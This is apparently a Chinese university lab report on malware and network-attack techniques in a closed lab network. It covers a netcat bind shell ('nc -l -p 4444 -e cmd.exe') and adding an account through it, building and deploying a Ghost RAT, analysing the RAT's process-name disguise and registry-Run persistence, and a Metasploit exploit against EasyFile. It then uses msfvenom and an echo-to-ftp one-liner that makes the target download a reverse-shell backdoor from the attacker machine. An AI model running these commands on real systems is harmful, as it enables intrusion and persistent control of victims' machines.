• 实验四 恶意代码技术


    学   号 xxxx

     

    中国人民公安大学

    Chinese people’ public security university

     

    网络对抗技术

    实验报告

     

    实验四

    恶意代码技术

     

    学生姓名

    x

    年级

    x

    区队

    x

    指导教师

    x

     

     

    信息技术与网络安全学院

    2020117


    实验任务总纲

    2020—2021学年   学期

    一、实验目的

    1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

     

    2.了解并熟悉常用的网络攻击工具,木马的基本功能;

    3.达到巩固课程知识和实际应用的目的。

    二、实验要求

    1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

    2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

    3.软件工具可使用NC、MSF等。

    4.实验结束后,保留电子文档。

    三、实验步骤

    1.准备

    提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

    2.实验环境

    描述实验所使用的硬件和软件环境(包括各种软件工具);

    开机并启动软件office2003或2007、浏览器、加解密软件。

    3.实验过程

    1)启动系统和启动工具软件环境。

    2)用软件工具实现实验内容。

    4.实验报告

    按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

     

    任务一 利用NC控制电脑

     

     NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

     

    实验过程需要两个同学相互配合完成:

    此处靶机为192.168.242.145

    攻击机为192.168.242.100

    步骤一:

       在受害者的机器 (同学A)输入下面的命令:

      nc.exe -l -p 4444 -e cmd.exe   进入监听模式

     


    步骤二:
        在攻击者的机器.(同学B)
    输入下面的命令:
        nc 192.168.242.145  4444        //连接对方IP:port,然后得到一个shell。

     

     

    步骤三:

    在shell中,利用net user  用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图)

    靶机上net user验证:

     

     可以继续通过命令行做一些事情。此处例如:在对方当前目录下创建一个文件叫click me,并往里面写入文本信息“hello win2008”

     

    返回靶机上查看,可以发现成功,不过存在一点小瑕疵,应该将输出文件用引号围起来。

    任务二 利用木马控制电脑

    相关工具:

    https://pan.baidu.com/s/1ipOkdU2HTPFtgU6fF669Gg

    https://pan.baidu.com/s/1ajmRKsnv5XvFrKWzszDYwQ(备用,另外一个木马)

     

    实验过程需要两个同学配合:

     

    步骤一:

    木马客户端:192.168.242.132

    木马服务端1:192.168.242.128

    木马服务端2:192.168.242.133

     

    攻击者的机器. (同学A)打开ghost rat木马客户端:

    配置一个服务端程序(即木马程序),回连地址以及备用回连地址均设为本机192.168.242.132,监听的回连端口为默认的2012端口,其次勾选自删除功能,生成服务端文件server.exe

    步骤二:

    为模拟更加真实情况,攻击方通过暴破对方445端口上存在弱口令的的网络磁盘映射功能,建立了ipc$空连接,并将该木马投送到对方主机上,然后为靶机添加了计划任务,即两分钟后启动执行该木马服务端程序。

     

    同样的方法,将木马服务端投送到其他靶机上,攻击机上监听端口,等待回连。最后发现,仅有window个人PC版系统能够回连(win7,winxp),而服务器系统win2008是不能成功回连的,初步检查后,确保win2008上的防火墙、defender、安全软件等等均已关闭,二者网络正常连通,仅双击后执行报错。故判断为,生成的这个木马服务端程序在win2008上执行会触发一些兼容性问题。可能并不适用于win2008。

     

    步骤四:

    在控制端中查看木马上线情况后,对该木马客户端提供的一些功能进行测试。

    1. 文件管理,尝试拷贝文件

     

    1. 屏幕控制,尝试获取桌面

     

    1. 键盘记录,尝试获取对方击键记录

     

    1. 会话管理,重启对方机器,查看是否能自启动上线

     

    可以看到,我们通过win7的shell命令其重启,重启后它仍能重新上线,回连到我们的攻击机上。

    最后,我们需要为对方卸载木马,步骤:会话管理,卸载对方的木马。

     

    任务三木马分析

    1.将任务二中生成的木马设置具备自删除功能和自启动功能,对其进行分析。回答以下问题(截图证明)

         (推荐使用“火绒剑”工具)

     

    在安装火绒剑前,首先要对本次实验选用的木马客户端ghost rat所生成的服务端程序做一些必要说明。在个人所进行实验的三台靶机中(winxp、win7、win2008),仅winxp能基本成功展示出该木马服务端所有的行为特征,而其他系统中,该木马的表现均存在许多不足,如同样条件下,win7中其安装后并未自删除,也未进行相应进程伪装、在win2008中木马安装程序甚至都不能被运行等。故该任务三,采用winxp作为靶机,并安装火绒剑进行相关实验记录和分析。

     

    Winxp系统上安装并打开火绒剑,然后将上一步的木马服务serve.exe拷入并双击运行,重点针对以下问题进行观察和分析。

      1. 该木马的回连IP是?

    从上图的TCP/IP解析可以看出,该木马程序建立了一个TCP/IP连接,远程地址为192.168.242.132,该IP即为该木马的回连IP。

       2. 该木马的回连端口是?

     

    从上图TCP/IP详情中的Socket可以看出,靶机开启了一个高位端口49225,与之通信的远程端口为2012,该端口即为该木马的回连端口。

      3. 该木马自删除后,会将自身的宿主程序改成什么名字,并隐藏到系统其它目录中。

     

    如上图可以看出该serve.exe木马文件在靶机上安装完毕后,在explorer.exe(桌面进程)下,运行了一个可以进程,宿主程序名为了svchsot.exe,乍一看认为这是一个svchost.exe进程,该进程是Windows系统里及其重要的系统进程。

    判断其可能将自己注入到了svchost.exe的进程中,但在进一步结合进程的文件名、文件路径、服务相关名称等特征分析后,判断它并不是将自己注入到svchsot.exe中,而是仅将自己文件名伪装成了一个和window重要系统进程svchost.exe很像的svchsot.exe,这是一种较为经典的利用名称混淆以达到欺骗目的的木马程序,并没有直接利用真正的svchost.exe进程,而是启动了另外一个名称相同的恶意进程。

    因此,该木马安装完毕后,删除了原本的serve.exe进程和文件,并在C:WINDOWSFB609364目录下创建了一个名为svchsot.exe的文件以及启用了同名进程。

      4. 该木马依靠什么方法实现自启动的,怎么实现的。

    通过查找重点部位后发现,该木马在注册表的启动项记录里添加了自身的相关信息,换句话说,该木马通过修改注册表启动项来实现自启动功能,具体就是在注册表的启动项里添加了一个REG_SZ(字符串类型)的键值,里面写入了木马程序的运行路径c:windowsFB609364svchsot.exe。

     

    任务四 msf攻击体验

    1.在主机A(win2008,192.168.242.145)上搭建easyfile,安装文件为efssetup。

    2.在主机B上安装metasploitframework,并在安装目录中启动/bin下的msfconsole

     

    此处直接使用kali(192.168.242.100),在kali上先启用postpresql数据库,然后运行msf控制台进行漏洞利用。

    3.进入msf命令行后使用search命令查找相关模块,use 加载模块,show options 查看参数。

    首先查找easyfile的相关Nday漏洞利用模块。

    找到了三个,我们可以通过nmap来探测靶机上80端口运行的easyfile服务的具体详细信息,从而确定选用哪个模块进行攻击,可以看到,第一个是针对基于easyfile搭建的FTP的,后两个才是针对web服务的,我们选用第二个基于POST请求的缓冲区溢出。

     4.把远程目标参数rhosts设置为主机A的IP地址,开始攻击。

    攻击配置模块所需的必要参数。

     

    执行攻击后,成功获得对方的tcp反向连接。进入到meterpreter> 命令行下,说明已经获取到shell,可以使用sysinfo查看目标系统的信息,screenshot截屏。

     输入shell命令,即可看到反弹shell成功。Sysinfo也可以查看对方的操作系统相关信息.

    当然还有screenshot获取截屏、upload/download传输文件、getsystem提权等等操作,但此时我们对目标的控制权仍不稳定,对方随时可能关机下线、或有所察觉进行升级打补丁等操作,我们还需要维持权限,生成持续性后门,说白了就是种马。

     

    因此,下一步骤是权限维持、进一步控制目标机器,上传大马。

     

    1.在B机器上搭建ftp,设置用户名和密码。

    此处可以使用Linux的vsftpd,但为方便,我们直接使用msf的auxiliary模块下自带的临时ftp服务。

    此处为方便起见,配置为允许匿名登录。(注意,在一些版本的系统中,通过命令行进行ftp匿名登录错误,可以尝试用户名为anonymous,密码为whatever)

     

    2.在B机器开启木马控制端,生成木马server.exe,并放置在ftp目录下。

     

    同样我们直接使用msfvenom来直接生成一个木马程序,我们配置payload为较为常用的建立tcp反向连接,配置回连端口为5555,回连IP为192.168.242.100(kali攻击机),生成为exe文件。

    然后将我们生成好的木马服务端haha.exe放入ftp的根目录下:

    并且在msf中使用exploit模块下的handle子模块对我们的5555端口进行监听,注意设置payload,同样为windows/meterpreter/reverse_tcp。

    3.在meterpreter>命令行下输入shell ,进入被控机器的shell, 用被控机器的shell登录B机器的ftp,下载并执行木马。查看木马上线。

    上述木马程序准备好后,下一步就是让靶机登录我们的临时ftp进行下载和执行。因此返回到刚刚获得的靶机回连的session里去,获取反弹shell,下载木马服务程序haha.exe。

    注意,这里存在一个问题,在通过反弹shell输入相关命令准备登录ftp时,此时若靶机为win10,则我们获得的反弹shell是能正常反馈并显示登录必要信息的(如:”输入用户名”、”输入密码”、欢迎banner等);但若靶机不是win10,绝大部分Windows10以下的系统,反弹回来的shell是不能正常反馈和显示ftp登录操作的相关信息的,也就是说,不能输入用户名和密码,即便强行输入了也没用。Win2008、win7均存在该问题。

    笔者靶机使用的是win2008,自然也面临这个问题。但此处提供一种简单的思路,以绕过该反弹shell造成的登录难点。我们可以通过编写bat批处理程序,或用ftp -s参数来实现ftp登录。此处采用的是ftp -s的方式。执行以下命令即可:

    echo open 192.168.242.100>code.txt&echo anonymous>>code.txt&echo whatever>>code.txt&echo binary>>code.txt&echo get haha.exe>>code.txt&echo bye>>code.txt&ftp -s:code.txt

    执行后,等待几秒,即可发现5555端口监听到来自靶机的tcp连接请求,我们进入其对应的session,成功获取到meterpreter会话,查看反弹shell,反弹成功。

    至此,我们在靶机上建立了持续性后门,达到预期实验目标。

  • 相关阅读:
    mysql 存储过程实例
    国际会议查询方式和相关会议
    用 WEKA 进行数据挖掘,第 1 部分: 简介和回归(转)
    java实现甘特图的2种方法:SwiftGantt和Jfree (转)
    通过jxl 读取excel 文件中的日期,并计算时间间隔
    R 操作矩阵和计算SVD的基本操作记录
    SVD java 算法实现
    聚类方法简介
    Kolmogorov-Smirnov检验
    Java Thread 多线程 介绍
  • 原文地址:https://www.cnblogs.com/P201821460033/p/14087299.html
Copyright © 2020-2023  润新知